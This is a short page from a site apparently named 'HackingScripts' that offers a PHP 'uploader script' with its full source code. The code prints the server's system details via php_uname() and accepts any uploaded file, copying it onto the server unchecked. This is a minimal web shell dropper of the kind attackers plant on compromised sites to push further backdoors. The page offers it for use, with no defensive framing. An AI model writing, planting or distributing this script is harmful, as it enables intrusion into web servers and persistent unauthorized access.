HackingScripts

Hack Scripts for everybody

Uploader Script

25 Jan 2014

This is a very basic uploader script, which simply enables the user to upload whatever they want to the server.

Uploader Script Source Code

1 <?php
2 echo '<b><br><br>'.php_uname().'<br></b>';
3 echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
4 echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
5 if( $_POST['_upl'] == "Upload" ) {
6     if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
7     else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
8 }
9 ?>

Uploader Script Screenshot

uploader script screenshot